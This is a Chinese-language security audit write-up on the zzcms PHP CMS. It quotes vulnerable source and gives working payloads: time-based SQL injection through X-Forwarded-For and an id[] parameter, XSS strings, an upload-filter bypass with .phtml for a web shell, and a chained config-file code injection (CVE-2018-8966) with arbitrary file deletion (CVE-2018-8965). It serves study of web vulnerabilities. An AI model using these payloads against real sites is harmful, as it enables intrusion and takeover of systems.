先去看一下目录结构,文件有点多,像之前的看代码审计不行了,必须得学点新的审计方式了
先安装上 在安装说明里说要启用这么一个函数
allow_url_fopen
可能存在远程文件包含,先记着
/install 安装程序目录(安装时必须有可写入权限)
/admin 默认后台管理目录(可任意改名)
/user 注册用户管理程序存放目录
/skin 用户网站模板存放目录;更多用户网站模板可从http://www.zzcms.net/skin.asp 下载
/template 系统模板存放目录;更多系统模板可从http://www.zzcms.net/template.asp 下载
/inc 系统所用包含文件存放目录
/area 各地区显示文件
/zs 招商程序文件
/dl 代理
/zh 展会
/company 企业
/job 招聘
/zx 资讯
/special专题
/pp 品牌
/wangkan 网刊
/ask 问答
/zt 注册用户展厅页程序
/one 专存放单页面,如公司简介页,友情链接页,帮助页都放在这个目录里了
/ajax ajax程序处理页面
/reg 用户注册页面
/3 第三方插件存放目录
/3/ckeditor CK编缉器程序存放目录
/3/alipay 支付宝在线支付系统存放目录
/3/tenpay 财富通在线支付系统存放目录
/3/qq_connect2.0 qq登录接口文件
/3/ucenter_api discuz论坛用户同步登录接口文件
/3/kefu 在线客服代码
/3/mobile_msg 第三方手机短信API
/3/phpexcelreader PHP读取excel文件组件
/cache 缓存文件
/uploadfiles 上传文件存放目录
/dl_excel 要导入的代理信息excel表格文件上传目录
/image 程序设计图片,swf文件存放目录
/flash 展厅用透明flash装饰动画存放目录
/js js文件存放目录
/html 静态页存放目录
/favicon.ico 地址栏左侧小图标文件
/web.config 伪静态规则文件for iis7(万网比较常用)
/httpd.ini 伪静态规则文件for iss6
/.htaccess 伪静态规则文件for apache
根据文件的功能大致猜测了一下 会有那些漏洞,
3 第三方插件 哪里有手机短信 可能会存在逻辑漏洞
inc 系统包含文件所用目录,如果可写,可能存在文件包含+RCE
/uploadfiles 文件上传
逻辑漏洞-密码爆破
看了一下admin目录
这里有个登陆功能,会限制访问次数,
在admin/logincheck.php 的 19行
$ip=getip();
调用了getip() 跟进
function getip(){
if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
$ip = getenv("HTTP_CLIENT_IP");
else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
$ip = getenv("HTTP_X_FORWARDED_FOR");
else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
$ip = getenv("REMOTE_ADDR");
else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
$ip = $_SERVER['REMOTE_ADDR'];
else
$ip = "unknown";
return($ip);
}
很明显的xff绕过
密码就可以无限次的爆破
sql注入
在下面的22行这里,有一处ip入库查询操作
$sql="select * from zzcms_login_times where ip='$ip' and count>='".trytimes."' and unix_timestamp()-unix_timestamp(sendtime)<".jgsj." ";
$ip被单引号包住了,$ip没有经过过滤
存在注入
测试
这里经过测试 当表中的内容为空时,延时注入不能实现,
这里需要先保证验证码是正确的,猜测一次,然后才可以注入,验证码正确后,会把ip记录到数据库中
payload
X-Forwarded-For:1' and if(ascii(substr((select database()),1,1))<9,sleep(10),sleep(5))-- +
在下面的记录ip次数这里,都调用了$IP变量
$sqln="select * from zzcms_login_times where ip='$ip'";
$rsn =query($sqln);
$rown= num_rows($rsn);
if ($rown){
$rown= fetch_array($rsn);
if ($rown['count']>=trytimes && strtotime(date("Y-m-d H:i:s"))-strtotime($rown['sendtime'])>jgsj){//15分钟前登录过的归0
query("UPDATE zzcms_login_times SET count = 0 WHERE ip='$ip'");
}
query("UPDATE zzcms_login_times SET count = count+1,sendtime='".date('Y-m-d H:i:s')."' WHERE ip='$ip'");//有记录的更新
}else{
query("INSERT INTO zzcms_login_times (count,sendtime,ip)VALUES(1,'".date('Y-m-d H:i:s')."','$ip')");
同样这里也存在注入问题
xff:1' and if(ascii(substr((select database()),1,1))<9,sleep(10),sleep(5))-- +
跟进一下验证码的验证过程
logincheck.php 31行
checkyzm($_POST["yzm"]);
inc/function.php 234行
function checkyzm($yzm){
if($yzm!=$_SESSION["yzm_math"]){showmsg('验证问题答案错误!','back');}
}
跟进session[yzm_math]
one/code_math.php
getCode(100, 20);
function getCode($w, $h) {
$im = imagecreate($w, $h);
//imagecolorallocate($im, 14, 114, 180); // background color
$black1 = imagecolorallocate($im, 0, 0, 0);
$white = imagecolorallocate($im, 255, 255, 255);
$num1 = rand(1, 20);
$num2 = rand(1, 20);
$_SESSION['yzm_math'] = $num1 + $num2;
可以前台这里直接审查元素,快速找到验证码是那个页面生成的
这里算是对一般验证码生成的一个了解吧,之前以为验证码是一张张保存好了的图片,这里是先生成随机数,在添加画背景,添加干扰像素,最后设置content-type:image/png 从而生成一张图片验证码
验证码的验证是保存在session中
既然admin登陆这里有注入,再去普通用户登陆看一下
先是有一个注册
这里对输入参数都有格式限制,注入不行了
sql注入
再去看登陆
user/logincheck.php 18行
$ip=getip();
define('trytimes',5);//可尝试登录次数
define('jgsj',10*60);//间隔时间,秒
$sql="select * from zzcms_login_times where ip='$ip' and count>=".trytimes." and unix_timestamp()-unix_timestamp(sendtime)<".jgsj." ";
和之前admin哪里同样的道理 ip注入
两个登陆处都已经看了,再去看看后台,一般来说都会有发布的功能
找到一处广告
admin/ad_manger.php
找到两处问题
1处sql注入 多处xss
sql注入
67行 这里把$b带入了数据库查询,但是
$sql="select classname from zzcms_adclass where parentid='".$b."' order by xuhao";
回溯$b 19行
$b=isset($_REQUEST["b"])?$_REQUEST["b"]:'';
同样这里也不回显,延时盲注
延时注入有一个地方需要注意,就是and和or的特性 最好使用一组数据库中已经存在的数据,然后用and连接
XSS
这里有多处xss
随便找一个
<input name="keyword" type="text" id="keyword" value="<?php echo $keyword?>">
回溯keyword 17行
$keyword=isset($_REQUEST["keyword"])?$_REQUEST["keyword"]:'';
输出参数没有经过转义
post
keyword="><script>alert(1)</script>
ad_save.php 发布功能
这里有一个插入行的注入 36行
if ($_REQUEST["action"]=="add"){
query("INSERT INTO zzcms_ad (bigclassname,smallclassname,title,titlecolor,link,img,imgwidth,imgheight,username,starttime,endtime,elite,sendtime)VALUES('$bigclassname','$smallclassname','$title','$titlecolor','$link','$img','$imgwidth','$imgheight','$username','$starttime','$endtime','$elite','".date('Y-m-d H:i:s',time()-(showadvdate+1)*60*60*24)."')");
回溯$bigclassname $smallclassname 28行
$bigclassname=$_POST["bigclassid"];
$smallclassname=$_POST["smallclassid"];
在测试的时候发现单引号被转义,
在下面找到一个貌似可以xss的地方
78行这里 会把参数输出
<td width="33%" align="center" class="border"><a href="ad_manage.php?b=<?php echo $bigclassname?>&s=<?php echo $smallclassname?>&page=<?php echo $page?>">返回</a></td>
试了<>之后 发现也被转义了
找了好长时间,最好在inc/conn.php中找到
if($_REQUEST){
$_POST =zc_check($_POST);
$_GET =zc_check($_GET);
$_COOKIE =zc_check($_COOKIE);
@extract($_POST);
@extract($_GET);
}
跟进zc_check函数
function zc_check($string){
if(!is_array($string)){
if(get_magic_quotes_gpc()){
return htmlspecialchars(trim($string));
}else{
return addslashes(htmlspecialchars(trim($string)));
}
}
foreach($string as $k => $v) $string[$k] = zc_check($v);
return $string;
}
这里转义了post get cookie中的变量
根据之前审bluecms的教训,转义了单引号也没事,找到没有被单引号包住的参数,也能注入
最常用的数字型注入参数 就是id 直接全局搜一下id 碰碰运气
找到了好几个没有被引号包住的
sql注入
admin\dl_sendsms.php 35行
33: $sql="select * from zzcms_dl where saver<>'' and id in (". $id .")";//ûÓнÓÊÕÈ˵ģ¬·ÇÁôÑÔÀà´úÀí²»Ó÷¢ÌáʾÓʼþ¡£
34 }else{
35: $sql="select * from zzcms_dl where saver<>'' and id=".$id."";
admin\showbad.php 30行
30: if (strpos($id,",")>0){
31: $sql="delete from zzcms_bad where id in (". $id .")";
39行
39 if ($action=="lockip"){
40: if (strpos($id,",")>0){
41: $sql="update zzcms_bad set lockip=1 where id in (". $id .")";
admin\userdel.php 30行
30: if (strpos($id,",")>0){
31: $sql="select id,username from zzcms_user where id in (". $id .")";
admin\usernotreg.php 32行
32: if (strpos($id,",")>0){
33: $sql="delete from zzcms_usernoreg where id in (". $id .")";
以admin/dl_sendmail.php为例
payload
id[]=1) union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,sleep(5)%23
这里只演示一下漏洞存在 服务端会停顿一下在返回
因为延时盲注,必须要保证表中有数据
XSS
还有一处文件上传的地方
uploadimg_form.php
意外的小惊喜 发现了一处xss 67行
<input name="imgid" type="hidden" id="imgid" value="<?php echo @$_GET['imgid']?>" />
这个文件没有包含 config.php配置文件 也就是说,他的没有被转义
测试
文件上传
上传文件的流程
uploadimg_from.php ==> uploadimg.php
uploadimg.php中 有一些限制 12行
content-type的限制 很容易绕过
private $uptypes = array ('image/jpg','image/jpeg','image/pjpeg','image/gif','image/png','image/x-png','image/bmp','application/x-shockwave-flash');
//只要不设定这种类型,php类的文件就无法上传'application/octet-stream'
还有一处对后缀的判断
if (strpos($hzm,"php")!==false || strpos($hzm,"asp")!==false ||strpos($hzm,"jsp")!==false){
echo "<script>alert('".$hzm.",这种文件不允许上传');parent.window.close();</script>";exit;
}
phtml就可以绕过
这样就上传拿shell了
去找了两个危害较大并且能够互相利用的CVE 分析了一下
RCE
CVE-2018-8966
这个漏洞需要和下面的任意文件删除相配合,因为该漏洞需要利用install.php重新安装 而zzcms安装完毕后,会生成一个锁文件install.lock
利用过程和bluecms的RCE有点相似
重新安装zzcms
在网站访问地址这里写上
1');phpinfo();#
分析一下
install/index.php 105行
$fp="../inc/config.php";
$f = fopen($fp,'r');
$str = fread($f,filesize($fp));
fclose($f);
$str=str_replace("define('sqlhost','".sqlhost."')","define('sqlhost','$db_host')",$str) ;
$str=str_replace("define('sqlport','".sqlport."')","define('sqlport','$db_port')",$str) ;
$str=str_replace("define('sqldb','".sqldb."')","define('sqldb','$db_name')",$str) ;
$str=str_replace("define('sqluser','".sqluser."')","define('sqluser','$db_user')",$str) ;
$str=str_replace("define('sqlpwd','".sqlpwd."')","define('sqlpwd','$db_pass')",$str) ;
$str=str_replace("define('siteurl','".siteurl."')","define('siteurl','$url')",$str) ;
$str=str_replace("define('logourl','".logourl."')","define('logourl','$url/image/logo.png')",$str) ;
$f=fopen($fp,"w+");//fopen()的其它开关请参看相关函数
fputs($f,$str);//把替换后的内容写入文件
fclose($f);
这里会把配置信息写入到 inc/config.php中 重点看10 11行这里 把网站地址写入到配置文件中
闭合单引号 写入代码 截断后边
1' );phpinfo();#
看下写入之后的config.php
define('siteurl','1');phpinfo();#') ;//网站地址
define('logourl','1');phpinfo();#/image/logo.png') ;//Logo地址
在访问一下 inc/config.php
当然这里也可以把代码换成xss
任意文件删除
CVE-2018-8965
代码在/user/ppsave.php的61行
看第一处删除文件unlink
if ($oldimg<>$img && $oldimg<>"image/nopic.gif") {
//deloldimg
$f=$oldimg;
if (file_exists($f)){
unlink($f);
}
回溯$oldimg变量
65行
$oldimg=trim($_POST["oldimg"]);
等于没处理,下一步的if判断也很好满足 不等于就行
if ($oldimg<>$img && $oldimg<>"image/nopic.gif")
测试
这两个漏洞加起来 RCE的漏洞还算是有点作用,要不然太鸡肋了
总结
这次的审计 主要是去找网站的功能,找到相应的功能后,再去找对应的代码,然后回溯变量
这种在代码量比较大的情况下,还算是好用,不过会落下一些漏洞